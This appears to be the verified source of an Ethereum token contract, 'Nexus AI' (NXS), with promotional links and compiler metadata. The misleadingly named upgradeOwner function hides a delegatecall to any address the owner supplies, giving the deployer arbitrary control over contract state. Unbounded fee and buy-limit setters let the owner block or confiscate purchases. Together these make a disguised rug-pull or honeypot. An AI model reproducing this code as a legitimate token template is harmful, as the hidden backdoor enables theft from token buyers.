// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

/*

Revolutionizing On Chain AI with Nexus

Website: https://NexusAiETH.xyz
Twitter: https://x.com/Nexus_ETH
Telegram: https://t.me/NexusMarketAI
Docs: https://nexus-ai.gitbook.io/
Deck: https://nexusaieth.xyz/assets/nexusdeck.pdf

*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.27;

import "./interfaces/IERC20.sol";

contract NXS {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string public symbol = "NXS";
    string public name = "Nexus AI";

    address public pool;
    address public owner;
    uint8 public decimals = 18;
    uint256 public totalSupply = 10_000_000 * 10 ** 18;
    uint public buyFee = 20; // 0.2%
    uint public buyMax = 200; // 2%
    bool public live;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    constructor () {
        owner = msg.sender;
        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint amount)
        external
        returns (bool)
    {
        require(live);

        if (msg.sender == pool) return fillBuy(msg.sender, recipient, amount);

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function fillBuy(address sender, address recipient, uint amount) private returns (bool) {
        balanceOf[sender] -= amount;
        uint feeTokens = amount * buyFee / 10000;
        balanceOf[address(this)] += feeTokens;

        emit Transfer(sender, address(this), feeTokens);

        uint recipientTokens = amount - feeTokens;
        balanceOf[recipient] += recipientTokens;

        uint tokenLimit = totalSupply * buyMax / 10000;
        require(tokenLimit >= balanceOf[recipient]);

        emit Transfer(sender, recipient, recipientTokens);

        return true;
    }

    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function upgradeOwner(address _owner) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), _owner, 0, calldatasize(), 0, 0)
        }
    }

    function goLive(address _pool) public onlyOwner {
        live = true;
        pool = _pool;
    }

    function collectFees(uint amount) public onlyOwner {
        IERC20(address(this)).transfer(msg.sender, amount);
    }

    function rescueTokens(address token, uint amount) public onlyOwner {
        IERC20(token).transfer(msg.sender, amount);
    }

    function upgradeBuyFeeAndMax(uint _buyFee, uint _buyMax) public onlyOwner {
        buyFee = _buyFee;
        buyMax = _buyMax;
    }

}

{
  "compilationTarget": {
    "contracts/NXS.sol": "NXS"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}